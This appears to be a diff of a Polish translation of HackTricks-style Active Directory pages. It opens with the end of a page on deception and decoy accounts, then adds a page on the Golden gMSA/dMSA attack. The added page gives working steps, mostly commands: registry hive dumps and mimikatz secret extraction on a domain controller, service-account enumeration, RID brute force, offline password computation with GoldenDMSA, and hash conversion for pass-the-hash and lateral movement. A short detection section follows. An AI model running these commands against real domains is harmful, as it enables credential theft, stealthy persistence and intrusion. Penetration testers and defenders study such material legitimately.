- Wdrażanie oszustwa polega na ustawianiu pułapek, takich jak użytkownicy lub komputery zwodnicze, z funkcjami takimi jak hasła, które nie wygasają lub są oznaczone jako Zaufane do Delegacji. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
|
||||
- Przykład praktyczny obejmuje użycie narzędzi takich jak: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Więcej na temat wdrażania technik oszustwa można znaleźć w [Deploy-Deception na GitHubie](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Identyfikacja oszustwa**
|
||||
|
||||
- **Dla obiektów użytkowników**: Podejrzane wskaźniki obejmują nietypowy ObjectSID, rzadkie logowania, daty utworzenia i niskie liczby błędnych haseł.
|
||||
- **Ogólne wskaźniki**: Porównanie atrybutów potencjalnych obiektów fałszywych z atrybutami obiektów rzeczywistych może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich oszustw.
|
||||
- **Ogólne wskaźniki**: Porównanie atrybutów potencjalnych obiektów zwodniczych z atrybutami obiektów autentycznych może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich oszustw.
|
||||
|
||||
### **Omijanie systemów wykrywania**
|
||||
|
||||
|
||||
@ -0,0 +1,111 @@
|
||||
# Złoty gMSA/dMSA Atak (Offline Derywacja Haseł Kont Zarządzanych)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Przegląd
|
||||
|
||||
Windows Managed Service Accounts (MSA) to specjalne podmioty zaprojektowane do uruchamiania usług bez potrzeby ręcznego zarządzania ich hasłami. Istnieją dwa główne rodzaje:
|
||||
|
||||
1. **gMSA** – grupowe Konto Usługi Zarządzanej – może być używane na wielu hostach, które są autoryzowane w jego atrybucie `msDS-GroupMSAMembership`.
|
||||
2. **dMSA** – delegowane Konto Usługi Zarządzanej – (w wersji beta) następca gMSA, oparty na tej samej kryptografii, ale pozwalający na bardziej szczegółowe scenariusze delegacji.
|
||||
|
||||
Dla obu wariantów **hasło nie jest przechowywane** na każdym Kontrolerze Domeny (DC) jak zwykły NT-hash. Zamiast tego każdy DC może **wyprowadzić** aktualne hasło na bieżąco z:
|
||||
|
||||
* Klucza **KDS Root Key** w całym lesie (`KRBTGT\KDS`) – losowo generowany sekret o nazwie GUID, replikowany do każdego DC w kontenerze `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …`.
|
||||
* **SID** docelowego konta.
|
||||
* **ManagedPasswordID** (GUID) na poziomie konta, znajdującego się w atrybucie `msDS-ManagedPasswordId`.
|
||||
|
||||
Derywacja to: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240-bajtowy blob, który jest ostatecznie **zakodowany w base64** i przechowywany w atrybucie `msDS-ManagedPassword`. Nie jest wymagany żaden ruch Kerberos ani interakcja z domeną podczas normalnego użycia hasła – host członkowski wyprowadza hasło lokalnie, o ile zna trzy wejścia.
|
||||
|
||||
## Złoty gMSA / Złoty dMSA Atak
|
||||
|
||||
Jeśli atakujący może uzyskać wszystkie trzy wejścia **offline**, może obliczyć **ważne aktualne i przyszłe hasła** dla **dowolnego gMSA/dMSA w lesie** bez ponownego dotykania DC, omijając:
|
||||
|
||||
* logi wstępnej autoryzacji Kerberos / żądania biletów
|
||||
* audyt odczytu LDAP
|
||||
* interwały zmiany haseł (mogą je wstępnie obliczyć)
|
||||
|
||||
Jest to analogiczne do *Złotego Biletu* dla kont usługowych.
|
||||
|
||||
### Wymagania wstępne
|
||||
|
||||
1. **Kompromitacja na poziomie lasu** **jednego DC** (lub Administratora Enterprise). Dostęp `SYSTEM` jest wystarczający.
|
||||
2. Możliwość enumeracji kont usługowych (odczyt LDAP / brute-force RID).
|
||||
3. Stacja robocza .NET ≥ 4.7.2 x64 do uruchomienia [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) lub równoważnego kodu.
|
||||
|
||||
### Faza 1 – Ekstrakcja Klucza KDS Root
|
||||
|
||||
Zrzut z dowolnego DC (Kopia Cienia Woluminu / surowe hives SAM+SECURITY lub zdalne sekrety):
|
||||
```cmd
|
||||
reg save HKLM\SECURITY security.hive
|
||||
reg save HKLM\SYSTEM system.hive
|
||||
|
||||
# With mimikatz on the DC / offline
|
||||
mimikatz # lsadump::secrets
|
||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||
```
|
||||
Ciąg base64 oznaczony jako `RootKey` (nazwa GUID) jest wymagany w późniejszych krokach.
|
||||
|
||||
### Faza 2 – Enumeracja obiektów gMSA/dMSA
|
||||
|
||||
Pobierz przynajmniej `sAMAccountName`, `objectSid` i `msDS-ManagedPasswordId`:
|
||||
```powershell
|
||||
# Authenticated or anonymous depending on ACLs
|
||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementuje tryby pomocnicze:
|
||||
```powershell
|
||||
# LDAP enumeration (kerberos / simple bind)
|
||||
GoldendMSA.exe info -d example.local -m ldap
|
||||
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
### Faza 3 – Zgadnij / Odkryj ManagedPasswordID (gdy brakuje)
|
||||
|
||||
Niektóre wdrożenia *usuwają* `msDS-ManagedPasswordId` z odczytów chronionych przez ACL.
|
||||
Ponieważ GUID ma 128 bitów, naiwne brute force jest niepraktyczne, ale:
|
||||
|
||||
1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (rozdzielczość minutowa).
|
||||
2. Następnie 96 losowych bitów.
|
||||
|
||||
Dlatego **wąska lista słów dla każdego konta** (± kilka godzin) jest realistyczna.
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
Narzędzie oblicza kandydatów na hasła i porównuje ich blob base64 z rzeczywistym atrybutem `msDS-ManagedPassword` – dopasowanie ujawnia poprawny GUID.
|
||||
|
||||
### Faza 4 – Offline Obliczanie Hasła i Konwersja
|
||||
|
||||
Gdy ManagedPasswordID jest znane, ważne hasło jest na wyciągnięcie ręki:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
||||
|
||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
||||
```
|
||||
Wynikowe hashe mogą być wstrzykiwane za pomocą **mimikatz** (`sekurlsa::pth`) lub **Rubeus** w celu nadużycia Kerberos, co umożliwia ukryty **lateral movement** i **persistence**.
|
||||
|
||||
## Wykrywanie i łagodzenie
|
||||
|
||||
* Ogranicz możliwości **DC backup i odczytu rejestru** do administratorów Tier-0.
|
||||
* Monitoruj tworzenie **Directory Services Restore Mode (DSRM)** lub **Volume Shadow Copy** na DC.
|
||||
* Audytuj odczyty / zmiany `CN=Master Root Keys,…` oraz flag `userAccountControl` kont serwisowych.
|
||||
* Wykrywaj nietypowe **base64 password writes** lub nagłe ponowne użycie haseł serwisowych na różnych hostach.
|
||||
* Rozważ konwersję gMSA o wysokich uprawnieniach na **klasyczne konta serwisowe** z regularnymi losowymi rotacjami, gdy izolacja Tier-0 nie jest możliwa.
|
||||
|
||||
## Narzędzia
|
||||
|
||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – implementacja referencyjna używana na tej stronie.
|
||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket przy użyciu pochodnych kluczy AES.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [Golden dMSA – obejście uwierzytelniania dla delegowanych zarządzanych kont serwisowych](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [Repozytorium Semperis/GoldenDMSA na GitHubie](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – atak zaufania Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user